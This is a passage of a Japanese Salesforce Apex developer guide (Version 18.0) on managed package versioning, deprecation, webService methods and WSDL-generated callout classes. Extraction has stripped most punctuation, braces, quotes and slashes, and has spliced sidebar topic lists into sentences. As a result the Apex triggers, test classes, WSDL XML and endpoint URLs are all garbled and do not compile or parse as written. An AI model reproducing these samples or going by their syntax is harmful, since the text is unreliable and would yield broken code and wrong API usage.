1 [設定] [作成] [オブジェクト] をクリックします2 カスタムオブジェクトを選択します3 [Apex 共有の再適用] 関連リストで [新規] をクリックします

Apex の一括処理 Version 180 | Apex による共有管理の再適用 | 163

4 このオブジェクトの Apex 共有を再適用する Apex クラスを選択します選択するクラスはDatabaseBatchableインターフェースを実装している必要があります同じApexクラスを同じカスタムオブジェクトと複数関連付けることはできません

5 [保存] をクリックします

Apex の一括処理 Version 180 | Apex による共有管理の再適用 | 164

第 9 章

管理パッケージでの Apex の開発

パッケージとは個々のコンポーネントなどの小さいものや関連アプリケーションのセットなどの大きいものを格納するコンテナですパッ

トピック

bull パッケージバージョン ケージの作成後他のSalesforcecomユーザおよび組織 (社外のユーザbull Apex の廃止 組織も含む) にそのパッケージを配布できます組織は他の多くの組

織でダウンロードおよびインストールできる単一の管理パッケージを作bull パッケージバージョンの動作成できます管理パッケージは未管理パッケージとは異なりコンポーネントの一部がロックされていて後でアップグレードできます未管理パッケージにはロックされたコンポーネントは含まれておらずアップグレードはできません

ここでは管理パッケージの Apex の開発に関連する次のトピックについて説明します

bull パッケージバージョンbull Apex の廃止bull パッケージバージョンの動作

パッケージバージョン

パッケージでアップロードされる一連のコンポーネント示す番号ですバージョン番号の形式はmajorNumberminorNumberpatchNumber (例 213) となりますメジャー番号およびマイナー番号はメジャーリリースごとに選択された値に増えますpatchNumberはパッチリリース時のみ生成されますpatchNumber

がない場合0 であるものとしますパッチバージョンは現在パイロットプログラムで使用できます組織のパッチバージョンの有効化に関する詳細はsalesforcecomまでお問い合わせください未管理パッケージはアップグレードできないため各パッケージバージョンは単に配布用コンポーネントのセットですパッケージバージョンは管理パッケージでより大きな意味を持ちますパッケージは異なるバージョンで異なる動作をします公開者はパッケージバージョンを使用してパッケージを使用する既存の連携に影響を与えることなく後続のパッケージバージョンをリリースすることにより管理パッケージのコンポーネントを発展させることができます

既存の登録ユーザが新しいパッケージをインストールした場合パッケージ内の各コンポーネントのインスタンスは 1 つだけですがコンポーネントは古いバージョンをエミュレートできますたとえば登録ユーザはApexクラスを含む管理パッケージを使用するとします公開者が Apex クラスのメソッドを廃止し新しいパッケージをリリースする場合でも新しいバージョンをインストールした後登録ユーザは Apex クラスのインスタンスを 1 つだけ使用できますただしこのApexクラスは古いバージョンの廃止されたメソッドを参照するコードの以前のバージョンをエミュレートできます

管理パッケージで Apex を開発する場合次の点に注意してください

bull 管理パッケージは固有の名前空間を持ちますこの名前空間はインストール先の組織において名前の重複を防ぐため自動的にクラスメソッド変数などの前に追加されます

bull 管理パッケージの一部であるApexコードは自動的に隠されインストール先の組織内では見ることができません唯一の例外としてグローバルとして宣言されているメソッドですそのようなメソッドの署名はインストールを行う組織でも参照できます

bull パッケージ管理者はdeprecatedアノテーションを使用して今後のリリースの管理パッケージでは参照できないメソッドクラス例外列挙インタフェース変数を指定することができます管理パッケージのコードをリファクタリングする場合に役立ちます

bull システムメソッドを runAsを使用してパッケージバージョンコンテキストを異なるパッケージバージョンに変更するテストメソッドを作成できます

bull クラスが「管理-リリース済み」パッケージバージョンでアップロードされた後にインストールまたは抽象クラスまたは仮想クラスにメソッドを追加することはできません

bull 明示的に名前空間を参照する非管理パッケージに含まれる Apex スクリプトはアップロードできません

Apex の廃止

パッケージ管理者はdeprecatedアノテーションを使用して今後のリリースの管理パッケージでは参照できないメソッドクラス例外列挙インタフェース変数を指定することができます管理パッケージのコードをリファクタリングする場合に役立ちます別のパッケージを「管理 - リリース済み」でアップロードすると最新のパッケージバージョンをインストールする新しい登録ユーザは非推奨の要素を確認できませんがその要素は既存の登録ユーザおよび API 連携で機能し続けますメソッドまたはクラスなど破棄された項目は最初はパッケージ開発者によって参照できます

管理パッケージでの Apex の開発 Version 180 | パッケージバージョン | 166

メモ 非管理パッケージの Apex クラスまたはトリガの deprecatedアノテーションは使用できません

パッケージ開発者は異なる Salesforcecom 組織のユーザのパイロットユーザによる評価およびフィードバックのために管理-ベータパッケージバージョンを使用できます開発者がApex識別子を廃止しあるバージョンのパッケージを「管理 - ベータ」としてアップロードしてもパッケージバージョンをインストールした登録ユーザはパッケージバージョンの廃止された識別子を参照できますパッケージ開発者がその後「管理-リリース済み」パッケージバージョンをアップロードした場合インストールした後登録ユーザにはパッケージバージョンの廃止された識別子は表示されません

パッケージバージョンの動作

パッケージコンポーネントは異なるパッケージバージョンで異なる動作をします動作のバージョニングにより新しいコンポーネントをパッケージに追加し既存のコンポーネントを調整することができますコードは既存の登録者にもシームレスに機能しますパッケージ開発者が新しいコンポーネントをパッケージに追加し新しいパッケージバージョンをアップロードした場合新しいパッケージバージョンをインストールした登録者は新しいコンポーネントを使用できるようになります

Apex コードの動作のバージョニングApex には特殊構文がありパッケージ開発者はクラスおよびトリガで異なるバージョンに異なる動作をさせる条件付きロジックを使用できますこれによりパッケージ開発者はコードをアップグレードしても以前のパッケージバージョンのクラスおよびトリガの既存の動作を継続してサポートできます

登録者が複数のバージョンのパッケージをインストールしパッケージ内の Apex クラスまたはトリガを参照するコードを記述する場合参照しているバージョンを選択する必要がありますパッケージ内で参照しているApex コード内で参照を作成する呼び出し Apex コードのバージョン設定に基づき異なるコードパスを条件付きで実行できます呼び出しコードのパッケージバージョン設定はPackageVersionRequestオブジェクトを使用してパッケージコード内で決定できますパッケージ開発者はこのオブジェクトおよび付随するメソッドを使用して要求コンテキストを決定しさまざまなバージョンのパッケージの異なる動作を示すことができます

次の例は異なるパッケージバージョンのトリガの動作を示します

trigger oppValidation on Opportunity (before insert before update)

for(Opportunity o Triggernew)

New validation added in package version 15 Applies to all version of the managedpackage except 10 If(PackageVersionRequestisGreaterThan(PackageVersion10))If(oProbability gt= 50 ampamp oDescription == NULL) oaddError(All deals over 50 require adescription)

Validation applies to all versions of the managed package If(oIsWon == true ampampoLeadSource == NULL) oaddError(A lead source must be provided for all Closed Won deals)

パッケージバージョンを処理するメソッドの詳細は「Package メソッド (ページ 284)」を参照してください

管理パッケージでの Apex の開発 Version 180 | パッケージバージョンの動作 | 167

メモ 非管理パッケージではPackageVersionRequestオブジェクトは使用できません

インストールパッケージのあるクラスがパッケージの別のクラスのメソッドを呼び出す場合要求コンテキストは保持されますたとえば登録者は CountryUtil クラスおよび ContinentUtil Apex クラスを含む GeoReports パッケージをインストールしたとします登録者は GeoReportsEx クラスを新規作成しバージョン設定を使用してバージョン 23 の GeoReports パッケージにバインドしますGeoReportsEx が CountryUtil のメソッドを内部的に呼び出す ContinentUtil のメソッドを呼び出すと 要求コンテキストは ContinentUtil から CountryUtil に反映されCountryUtil PackageVersionRequestの変数はバージョン 23 の GeoReports パッケージを参照します

バージョニングされていない Apex コードの項目パッケージバージョンでいくつかのApex項目の動作を変更できますたとえば新しい登録者が後続のバージョンのパッケージを参照できないようメソッドを廃止できます

ただし次のリストの修飾子キーワードアノテーションについてはバージョニングできませんパッケージ開発者が次の修飾子キーワードまたはアノテーションのいずれかを変更すると変更はすべてのパッケージバージョンに反映されます

管理パッケージの Apex コードで使用される場合これらの項目のいくつかに行うことができる変更には制限事項があります

パッケージ開発者は次の項目を追加または削除できます

bull future

bull isTest

bull with sharing

bull without sharing

bull transient

パッケージ開発者は次の項目に制限付きで変更を行うことができます

bull private globalに変更できますbull public globalに変更できますbull protected globalに変更できますbull abstract virtualに変更できますが削除できませんbull final 削除できますが追加はできません

パッケージ開発者は次の項目の追加または変更することはできません

bull global

bull virtual

パッケージ開発者は webServiceキーワードを追加できますがいったん追加すると削除することはできません

メモ 管理パッケージコードの webServiceメソッドまたは変数を廃止することはできません

管理パッケージでの Apex の開発 Version 180 | バージョニングされていない Apex コードの項目 | 168

パッケージバージョンの動作のテスト異なるパッケージバージョンの Apex クラスまたはトリガの動作を変更する場合異なるパッケージバージョンで期待されているようにコードをテストすることが重要ですシステムメソッドをrunAsを使用してパッケージバージョンコンテキストを異なるパッケージバージョンに変更するテストメソッドを作成できますrunAs

はテストメソッドでのみ使用できますこのメソッドはテストメソッドのPackageVersionRequestオブジェクトとして効果的に設定します

次の例は異なるパッケージバージョンの異なる動作のトリガを示します

trigger oppValidation on Opportunity (before insert before update)

for(Opportunity o Triggernew)

Add a new validation to the package Applies to versions of the managed package greaterthan 10 If(PackageVersionRequestisGreaterThan(PackageVersion10)) If(oProbabilitygt= 50 ampamp oDescription == NULL) oaddError(All deals over 50 require a description)

Add a new validation to the package This validation applies to all versions of themanaged packageIf(oIsWon == true ampamp oLeadSource == NULL) oaddError(A lead source mustbe provided for all Closed Won deals)

次のテストクラスはトリガの動作を確認します

isTest public class OppTriggerTests

static testMethod void testOppValidation()

Set up 50 opportunity with no description Opportunity o = new Opportunity() oName =Test Job oProbability = 50 oStageName = Prospect oCloseDate = Systemtoday()

Test running as latest package version try insert o catch(SystemDMLException e)Systemassert( egetMessage()contains( All deals over 50 require a description)egetMessage())

Run test as managed package version 10 SystemrunAs(PackageVersion10) try inserto catch(SystemDMLException e) Systemassert(false egetMessage())

Set up a closed won opportunity with no lead source o = new Opportunity() oName = TestJob oProbability = 50 oStageName = Prospect oCloseDate = Systemtoday() oStageName= Closed Won

Test running as latest package version try insert o catch(SystemDMLException e)Systemassert( egetMessage()contains( A lead source must be provided for all Closed Wondeals) egetMessage())

Run test as managed package version 10 SystemrunAs(PackageVersion10) try inserto catch(SystemDMLException e) Systemassert( egetMessage()contains( A lead sourcemust be provided for all Closed Won deals) egetMessage())

管理パッケージでの Apex の開発 Version 180 | パッケージバージョンの動作のテスト | 169

第 10 章

Apex メソッドの Web サービスとしての公開

外部アプリケーションがコードおよびアプリケーションにアクセスできるようApex メソッドを公開できますApex メソッドを公開するにはWebService メソッドを使用します

トピック

bull WebService メソッド

ヒント Apex Web サービスを使用すると外部アプリケーションは Web サービスを使用して Apex メソッドを呼び出すことができますApex コールアウトを使用するとApex は外部 Webまたは HTTP サービスを呼び出すことができます

WebService メソッド

ApexクラスメソッドはカスタムのForcecom Web サービスAPIコールとしての表示が可能ですこれにより外部アプリケーションが Apex Web サービスを実行しSalesforcecom でアクションを実行できるようになりますこれらのメソッドの定義には webServiceキーワードを使用します例

global class MyWebService webService static Id makeContact(String lastName Account a) Contact c = new Contact(lastName = Weissman AccountId = aId) insert c return cid

外部アプリケーションの開発者はクラスの WSDL を生成してwebServiceメソッドを含む Apex クラスと統合できますApex クラス詳細ページから WSDL を生成する手順は次のとおりです

1 アプリケーションで[設定] [開発] [Apex クラス] をクリックします2 webServiceメソッドを含むクラス名をクリックします3 [WSDL の生成] をクリックします

WebService メソッドによるデータの公開カスタム webServiceメソッドの呼び出しには必ず System コンテキストを使用しますその結果現在のユーザーの証明書は使用されずこれらのメソッドにアクセスできるユーザーが権限項目レベルのセキュリティ共有ルールに関係なく全機能を使用できますwebServiceキーワードでメソッドを公開する開発者は機密情報データを不注意に公開しないよう注意する必要があります

警告 with sharingキーワードを使用して定義されたクラスにメソッドが含まれていない場合webServiceキーワードにより API を介して公開する Apex クラスメソッドではレコードのオブジェクト権限項目レベルのセキュリティ共有ルールを参照しません with sharingを使用して定義されたクラスだけが現在のユーザの共有ルールに関係します

WebServiceキーワード使用に関する考慮事項webServiceキーワードを使用する場合次の考慮事項について注意してください

bull クラスの定義には webServiceキーワードを使用できませんただし最上位の外部クラスメソッドと内部クラスメソッドを定義するために使用できます

bull webServiceキーワードを使用してインターフェースを定義またはインターフェースのメソッドおよび変数を定義することはできません

bull システム定義の enum は Web サービスメソッドで使用することはできませんbull トリガのメソッドを定義できないためトリガに webServiceキーワードを使用できませんbull webServiceキーワードと共に定義されているメソッドを含むすべてのクラスは globalとして宣言する必要

がありますメソッドまたは内部クラスを globalとして宣言した場合外部のトップレベルクラスもglobalとして宣言する必要があります

bull webServiceキーワードで定義されるメソッドは本質的にグローバルですこれらのメソッドをクラスにアクセスできる Apex スクリプトで使用できますwebServiceキーワードをglobalより多くのアクセスを可能にするアクセス変更子の種類として検討することができます

bull webServiceキーワードを使用するメソッドを staticとして定義する必要があります

Apex メソッドの Web サービスとしての公開 Version 180 | WebService メソッド | 171

bull 管理パッケージコードの webServiceメソッドまたは変数を廃止することはできませんbull 特定の Apex 要素に SOAP アナログがないためwebServiceキーワードで定義されたメソッドは次の要素

をパラメータとして使用することはできませんこれらの要素はメソッド内で使用できますが戻り値としてマークすることはできません

- Map- Sets- Pattern オブジェクト- Matcher オブジェクト- 例外オブジェクト

bull webServiceキーワードはWeb サービスの一部として公開するメンバー変数で使用する必要がありますこれらのメンバー変数を staticとマークすることはできません

bull Salesforcecom はアクセスが Restrictedになっている AppExchange パッケージからの Web サービスへのアクセスと executeanonymous要求を拒否します

bull 項目に割り当てた文字列値が長すぎる場合APIバージョン 150 以上を使用して保存 (コンパイル) したApexクラスにはランタイムエラーが発生します

次の例はWeb サービス変数と Web サービスメソッドを持つクラスを示しています

global class SpecialAccounts

global class AccountInfo WebService String AcctName WebService Integer AcctNumber

WebService static Account createAccount(AccountInfo info) Account acct = new Account()acctName = infoAcctName acctAccountNumber = StringvalueOf(infoAcctNumber) insertacct return acct

WebService static Id [] createAccounts(Account parent Account child Account grandChild)

insert parent childparentId = parentId insert child grandChildparentId = childIdinsert grandChild

Id [] results = new Id[3] results[0] = parentId results[1] = childId results[2] =grandChildId return results

TestMethod static void testAccountCreate() AccountInfo info = new AccountInfo()infoAcctName = Manoj Cheenath infoAcctNumber = 12345 Account acct =SpecialAccountscreateAccount(info) Systemassert(acct = null)

AJAX を使用してこの Web サービスを呼び出すことができます詳細は「AJAX のApex」 (ページ 82)を参照してください

Web サービスメソッドのオーバーロードSOAP およびWSDL ではメソッドをオーバーロードできませんその結果ApexではwebServiceキーワードでマークされた 2 つのメソッドに同じ名前を付けることはできません同じクラスで同じ名前を持つWeb サービスメソッドを使用するとコンパイル時エラーが発生します

Apex メソッドの Web サービスとしての公開 Version 180 | Web サービスメソッドのオーバーロード | 172

第 11 章

Apex を使用したコールアウトの呼び出し

Apex コールアウトを使用して外部 Web サービスへのコールを作成またはApexスクリプトから HTTP 要求を送信して応答を受信すること

トピック

bull リモート サイト設定の追加 によってApex を外部サービスとを密接に統合することができますbull SOAP サービス WSDL ドキュメ

ントからのクラスの定義Apex はSOAP および WSDLまたは HTTP サービス (RESTful サービス) を使用する Web サービスと統合できます

bull HTTP コールアウトの呼び出し メモ Apex コールアウトが外部サイトを呼び出す前にそのサイトを [リモートサイトの設定] ページで登録する必要がありまbull 証明書の使用

bull コールアウトの制限 す登録しない場合コールアウトが失敗しますSalesforcecomでは認証されていないネットワーク アドレスへのコールが行われないようにします

2 種類のコールアウトの詳細は次の項目を参照してください

bull SOAP サービス WSDL ドキュメントからのクラスの定義 (ページ174)

bull HTTP コールアウトの呼び出し (ページ 181)

ヒント コールアウトによってApex は外部 Web または HTTPサービスを呼び出すことができますApex Web サービスを使用すると外部アプリケーションはWeb サービスを使用して Apexメソッドを呼び出すことができます

リモートサイト設定の追加

Apex コールアウトが外部サイトを呼び出す前にそのサイトを [リモートサイトの設定] ページで登録する必要があります登録しない場合コールアウトが失敗しますSalesforcecomでは認証されていないネットワークアドレスへのコールが行われないようにします

リモートサイト設定を追加する手順は次のとおりです

1 [設定] [セキュリティのコントロール] [リモートサイト設定] をクリックします2 [新規リモートサイト] をクリックします3 [リモートサイト名]には分かりやすい名前を入力してください4 リモートサイトの URL を入力します5 必要に応じてサイトの説明を入力します6 [保存] をクリックします

SOAP サービス WSDL ドキュメントからのクラスの定義

クラスはローカルハードドライブやネットワークに保管されている WSDL ドキュメントから自動的に生成されます WSDL ドキュメントを使ってクラスを作成すると開発者は Apex スクリプトの中で外部 Web サービスを呼び出すことができます

メモ 可能な場合にはアウトバウンドメッセージを使用して統合ソリューションを処理します必要な場合に限りサードパーティの Web サービスの呼び出しを使用します

WSDL から Apex クラスを作成する手順は次のとおりです

1 アプリケーションで[設定] [開発] [Apex クラス] をクリックします2 [WSDL からの生成] をクリックします3 [参照] をクリックしてローカルハードドライブまたはネットワーク上の WSDL ドキュメントを選択する

かフルパスを入力しますこの WSDL ドキュメントが作成する Apex クラスの基礎となりますが1 MB以下である必要があります

メモ

指定した WSDL ドキュメントに送信ポートを参照する SOAP エンドポイントの場所が記載されている場合があります

セキュリティ上の理由からSalesforcecom では指定できる送信ポートを次の 1 つに制限します

bull 80 このポートはHTTP 接続のみを受け付けますbull 443 このポートはHTTPS 接続のみを受け付けますbull 7000-10000 (7000 と 10000 も含む) これらのポートはHTTP 接続または HTTPS 接続を受け付け

ます

4 [WSDL を解析] をクリックしてWSDL ドキュメントの内容を確認しますアプリケーションがWSDLドキュメント内の名前空間それぞれのデフォルトクラス名を生成しエラーがあれば報告しますWSDL に

Apex を使用したコールアウトの呼び出し Version 180 | リモート サイト設定の追加 | 174

Apex クラスがサポートしていないスキーマタイプまたはスキーマ構造が含まれているか結果生成されるクラス名が100000文字というApexクラスの制限を超える場合には解析は失敗しますたとえばSalesforcecomSOAP API WSDL は解析できません

5 必要に応じてそのクラス名を変更しますそれぞれの名前空間に対して同じクラス名を使用することにより1 つのクラスに複数の WSDL 名前空間を保存できますがApex クラスは合計 100000 文字以内にしてください

6 [Apex の生成] をクリックしますウィザードの最終ページにはどのクラスが正常に生成されたか他のクラスからのエラーがあればそれも含めて表示されます生成が成功した場合には生成されたコードを表示するためのリンクも示されます

正常に生成された Apex クラスにはWSDL ドキュメントで示されていたサードパーティ Web サービスを呼び出すスタブとタイプクラスが含まれていますこれらのクラスによりApex から外部の Web サービスを呼び出すことができますWeb サービスコールの SOAP 要求および応答は 1 MB 以下に制限されています

生成された Apex については次の点にご注意ください

bull WSDL ドキュメントに Apex の予約語が含まれている場合はApex クラスが生成されるときにその語の後ろに「_x」が付きますたとえばWSDL ドキュメントに「limit」があると生成されるApexクラスでは「limit_x」になります「予約キーワード (ページ397)」を参照してくださいApex変数名でサポートされていない WSDL の要素名の文字の処理の詳細については「WSDL 使用についての考慮事項 (ページ 180)」を参照してください

bull WSDL の操作に複数の要素がある出力メッセージがある場合生成された Apex は内部クラスの要素をラップしますWSDL 操作を示す Apex メソッドは各要素の代わりに内部クラスを返します

WSDL からクラスを生成したあとWSDL で参照される外部サービスを呼び出すことができます

メモ このトピックの残りのサンプルを使用する前に「生成されるコードについて」から Apex クラスdocSampleClassをコピーして組織に追加する必要があります

外部サービスの呼び出しWSDL ドキュメントを使用して Apex クラスを生成した後外部サービスを呼び出すにはApex スクリプトにstub のインスタンスを作成してそれにメソッドをコールしますたとえばApexから StrikeIron IP アドレス検索サービスを呼び出すために次のようなスクリプトを作成することができます

stub を作成 strikeironIplookupDNSSoap dns = new strikeironIplookupDNSSoap()

ライセンスのヘッダーを設定 dnsLicenseInfo = new strikeironLicenseInfo()dnsLicenseInfoRegisteredUser = new strikeironRegisteredUser()dnsLicenseInfoRegisteredUserUserID = youcompanycomdnsLicenseInfoRegisteredUserPassword = your-password

Web サービスコールを作成 strikeironIplookupDNSInfo info = dnsDNSLookup(wwwmynamecom)

HTTP ヘッダーのサポートWeb サービスコールアウトに HTTP ヘッダーを設定できるようになりましたたとえばこの機能を使用して認可ヘッダーに Cookie の値を設定できますHTTP ヘッダーを設定するにはinputHttpHeaders_xおよびoutputHttpHeaders_xをスタブに追加します

Apex を使用したコールアウトの呼び出し Version 180 | 外部サービスの呼び出し | 175

メモ API バージョン 160 より前ではコールアウト HTTP 応答はコンテンツタイプのヘッダーに関係なく UTF-8 を使用してデコードされますAPI バージョン 170 移行ではHTTP 応答はコンテンツタイプのヘッダーで指定されたエンコードを使用してデコードされます

次のサンプルでは「生成されるコードについて」 (ページ178)のサンプルWSDL ファイルを使用しています

Web サービスコールアウトの HTTP ヘッダーの送信

docSampleDocSamplePort stub = new docSampleDocSamplePort() stubinputHttpHeaders_x = newMapltString Stringgt()

基本認証ヘッダーの設定

stubinputHttpHeaders_xput(Authorization Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==)

クッキーヘッダーの設定 stubinputHttpHeaders_xput(Cookie name=value)

カスタム HTTP ヘッダーの設定 stubinputHttpHeaders_xput(myHeader myValue)

String input = This is the input string String output = stubEchoString(input)

inputHttpHeaders_xの値を指定すると標準ヘッダーセットを上書きします

Web サービスコールアウトレスポンスからの HTTP レスポンスヘッダーのアクセス

docSampleDocSamplePort stub = new docSampleDocSamplePort() stuboutputHttpHeaders_x =new MapltString Stringgt() String input = This is the input string String output =stubEchoString(input)

クッキーヘッダーの取得 String cookie = stuboutputHttpHeaders_xget(Set-Cookie)

カスタムヘッダーの取得 String myHeader = stuboutputHttpHeaders_xget(My-Header)

outputHttpHeaders_xのデフォルト値は null ですoutputHttpHeaders_xを設定してからレスポンスのヘッダーの内容にアクセスできます

サポートされた WSDL 機能Apex ではドキュメントリテラルでラップした WSDL スタイルと組み込みデータ型のみをサポートしています

Apex タイプスキーマタイプStringxsdanyURI

Booleanxsdboolean

Datexsddate

DatetimexsddateTime

Doublexsddouble

Doublexsdfloat

Integerxsdint

Apex を使用したコールアウトの呼び出し Version 180 | サポートされた WSDL 機能 | 176

Apex タイプスキーマタイプIntegerxsdinteger

Stringxsdlanguage

Longxsdlong

StringxsdName

StringxsdNCName

IntegerxsdnonNegativeInteger

StringxsdNMTOKEN

StringxsdNMTOKENS

StringxsdnormalizedString

StringxsdNOTATION

IntegerxsdpositiveInteger

StringxsdQName

Integerxsdshort

Stringxsdstring

Datetimexsdtime

Stringxsdtoken

IntegerxsdunsignedInt

LongxsdunsignedLong

IntegerxsdunsignedShort

メモ Salesforcecom データ型 anyType はAPI バージョン 150 以降を使用して保存される Apex コードを生成するときに使用する WSDL ではサポートされませんAPI バージョン 140 以前を使用して保存されるコードではanyType は String にマッピングされます

Apex では次のスキーマ構造をサポートしています

bull API バージョン 150 以上を使用して保存した Apex コードの xsdall

bull API バージョン 150 以上を使用して保存した Apex コードの xsdannotation

bull API バージョン 150 以上を使用して保存した Apex コードの xsdattribute

bull API バージョン 150 以上を使用して保存した Apex コードの xsdchoice

bull xsdelementAPI バージョン 150 以上を使用して保存した Apex コードではref属性が次の制限付きでサポートされます

- 名前空間を指定して異なる名前空間で refをコールできます- グローバル要素は refを使用できません- 要素に refが含まれている場合nameも typeを含むことはできません

bull xsdsequence

Apex を使用したコールアウトの呼び出し Version 180 | サポートされた WSDL 機能 | 177

次のデータ型はコールインとして使用されている場合つまり外部Web サービスがApex Web サービスメソッドをコールする場合にのみサポートされていますこれらのデータ型はコールアウトとして使用されている場合つまり Apex Web サービスメソッドが外部 Web サービスをコールする場合はサポートされていません

bull blobbull decimalbull enum

Apex は次のようなその他の WSDL コンストラクタデータ型サービスをサポートしていません

bull RPCエンコード化サービスbull 複数の portTypes複数のサービスまたは複数のバインドを含む WSDL サービスbull 外部スキーマをインポートする WSDL ファイルたとえば次の WSDL フラグメントはサポートされてい

ない外部スキーマをインポートします

ltwsdltypesgt ltxsdschema elementFormDefault=qualifiedtargetNamespace=https3amazonawscomdoc2006-03-01gt ltxsdincludeschemaLocation=AmazonS3xsdgt ltxsdschemagt ltwsdltypesgt

ただし同じスキーマ内のインポートはサポートされています次の例では外部 WSDL は変換しているWSDL に貼り付けられます

ltwsdltypesgt ltxsdschema xmlnstns=https3amazonawscomdoc2006-03-01xmlnsxsd=httpwwww3org2001XMLSchema elementFormDefault=qualifiedtargetNamespace=https3amazonawscomdoc2006-03-01gt

ltxsdelement name=CreateBucketgt ltxsdcomplexTypegt ltxsdsequencegt [] ltxsdschemagtltwsdltypesgt

bull 前の表に記載されていないスキーマタイプbull Salesforcecom WSDL などサイズ制限をこえた WSDL

生成されるコードについて次の例ではWSDL ドキュメントから Apex クラスがどのように作成されるかを示します次のコードではサンプル WSDL ドキュメントを示します

ltwsdldefinitions xmlnshttp=httpschemasxmlsoaporgwsdlhttpxmlnssoap=httpschemasxmlsoaporgwsdlsoap xmlnss=httpwwww3org2001XMLSchemaxmlnssoapenc=httpschemasxmlsoaporgsoapencodingxmlnstns=httpdocsamplecomdocSample targetNamespace=httpdocsamplecomdocSamplexmlnswsdl=httpschemasxmlsoaporgwsdlgt

lt-- Above the schema targetNamespace maps to the Apex class name --gt

lt-- Below the type definitions for the parameters are listedEach complexType and simpleTypeparameteris mapped to an Apex class inside the parent class for the WSDLThen each elementin the complexType is mapped to a public field inside the class --gt

ltwsdltypesgt ltsschema elementFormDefault=qualifiedtargetNamespace=httpdocsamplecomdocSamplegt ltselement name=EchoStringgtltscomplexTypegt ltssequencegt ltselement minOccurs=0 maxOccurs=1 name=inputtype=sstring gt ltssequencegt ltscomplexTypegt ltselementgt ltselementname=EchoStringResponsegt ltscomplexTypegt ltssequencegt ltselement minOccurs=0 maxOccurs=1name=EchoStringResult type=sstring gt ltssequencegt ltscomplexTypegt ltselementgtltsschemagt ltwsdltypesgt

Apex を使用したコールアウトの呼び出し Version 180 | 生成されるコードについて | 178

lt--The stub below defines operations --gt

ltwsdlmessage name=EchoStringSoapIngt ltwsdlpart name=parameters element=tnsEchoStringgt ltwsdlmessagegt ltwsdlmessage name=EchoStringSoapOutgt ltwsdlpart name=parameterselement=tnsEchoStringResponse gt ltwsdlmessagegt ltwsdlportType name=DocSamplePortTypegtltwsdloperation name=EchoStringgt ltwsdlinput message=tnsEchoStringSoapIn gt ltwsdloutputmessage=tnsEchoStringSoapOut gt ltwsdloperationgt ltwsdlportTypegt

lt--The code below defines how the types map to SOAP --gt

ltwsdlbinding name=DocSampleBinding type=tnsDocSamplePortTypegt ltwsdloperationname=EchoStringgt ltsoapoperationsoapAction=urndotnetcallouttestsoapsforcecomEchoString style=document gtltwsdlinputgt ltsoapbody use=literal gt ltwsdlinputgt ltwsdloutputgt ltsoapbody use=literalgt ltwsdloutputgt ltwsdloperationgt ltwsdlbindinggt

lt-- Finally the code below defines the endpoint which maps to the endpoint in the class--gt

ltwsdlservice name=DocSamplegt ltwsdlport name=DocSamplePortbinding=tnsDocSampleBindinggt ltsoapaddresslocation=httpwwwqaresponderinfoWebServicesDocSampleasmx gt ltwsdlportgtltwsdlservicegt ltwsdldefinitionsgt

この WSDL ドキュメントから次の Apex クラスを生成することができます

Generated by wsdl2apex

public class docSample

public class EchoStringResponse_element

public String EchoStringResult

private String[] EchoStringResult_type_info = new String[] EchoStringResulthttpwwww3org2001XMLSchema string01false

private String[] apex_schema_type_info = new String[] httpdocsamplecomdocSampletrue

private String[] field_order_type_info = new String[] EchoStringResult

public class DocSamplePort

public String endpoint_x = httpwwwqaresponderinfoWebServicesDocSampleasmx

private String[] ns_map_type_info = new String[] httpdocsamplecomdocSampledocSample

public String EchoString(String input) docSampleEchoString_element request_x = newdocSampleEchoString_element() docSampleEchoStringResponse_element response_xrequest_xinput = input MapltString docSampleEchoStringResponse_elementgt response_map_x= new MapltString docSampleEchoStringResponse_elementgt() response_map_xput(response_xresponse_x) WebServiceCalloutinvoke( this request_x response_map_x newString[]endpoint_x urndotnetcallouttestsoapsforcecomEchoStringhttpdocsamplecomdocSample EchoString httpdocsamplecomdocSampleEchoStringResponse docSampleEchoStringResponse_element ) response_x =response_map_xget(response_x) return response_xEchoStringResult

public class EchoString_element

public String input private String[] input_type_info = new String[] inputhttpwwww3org2001XMLSchema string01false private String[]

Apex を使用したコールアウトの呼び出し Version 180 | 生成されるコードについて | 179

apex_schema_type_info = new String[] httpdocsamplecomdocSample true privateString[] field_order_type_info = new String[]input

元の WSDL ドキュメントからの次のマッピングに注意してください

bull WSDL ターゲット名前空間は Apex クラス名にマップしますbull 複雑なデータ型はクラスになりますデータ型の各要素はクラスの公開項目ですbull WSDL ポート名は stub クラスにマップしますbull WSDL の各処理は公開メソッドにマップします

上記で生成されたクラスを使用して外部 Web サービスを呼び出すことができます次のコードは外部サーバーで echoStringメソッドをどのようにコールするかを示しています

docSampleDocSamplePort stub = new docSampleDocSamplePort() String input = 入力文字列ですString output = stubEchoString(input)

WSDL 使用についての考慮事項WSDL から Apex クラスを生成する場合次の点に注意してください

ヘッダーのマッピング

WSDL ドキュメントで定義されているヘッダーは生成されたクラスの stub の公開項目となりますこれはAJAX Toolkit および Net と同様です

ランタイムイベントについて

Apex スクリプトが外部サービスへのコールアウトを作成している場合次のことがチェックされます

bull 要求サイズが 1 MB 未満であることbull 応答サイズが 1 MB 未満であることbull HTTP 要求またはWeb サービスコールを作成する場合のタイムアウト制限の詳細は「コールアウトの制限

(ページ 184)」を参照してくださいbull Apex クラスでは循環参照が無効であることbull Salesforcecom ドメインへの複数のループバック接続が無効であることbull エンドポイントにアクセスする場合[設定] [セキュリティ] [リモートサイト設定] で登録することbull データベース接続が停止しないようトランザクションが開かれないこと

変数名でサポートされていない文字について

WSDL ファイルにはApex変数名で使用できない要素名を使用することができますWSDL ファイルからApex変数名を生成する場合次のルールが適用されます

bull 要素名の最初の文字がアルファベットでない場合x文字が生成された Apex 変数名の先頭に追加されますbull 要素名の最後の文字が Apex 変数名で使用できない場合x文字が生成された Apex 変数名に追加されますbull 要素名に Apex 変数名で使用できない文字が含まれている場合その文字は (_) 文字に置き換えられますbull 要素名に Apex 変数名で使用できない文字が 1 行に 2 文字含まれている場合最初の文字はアンダースコア

(_) 文字に置き換えられ2 番目の文字は x文字に置き換えられますこれによりApex では使用できない 2つの連続したアンダースコアで変数名が生成されないようにします

Apex を使用したコールアウトの呼び出し Version 180 | WSDL 使用についての考慮事項 | 180

bull 2 つのパラメータa_および a_xを使用する処理があるとします生成されたApexには 2 つの変数がありいずれもa_xという名前ですクラスはコンパイルしません手動でApexを編集しいずれかの変数名を変更する必要があります

WSDL ファイルから生成したクラスのデバッグ

Forcecom Web サービスNetおよび Axis を使用してコードをテストします他のツールを使用する場合問題が発生する場合があります

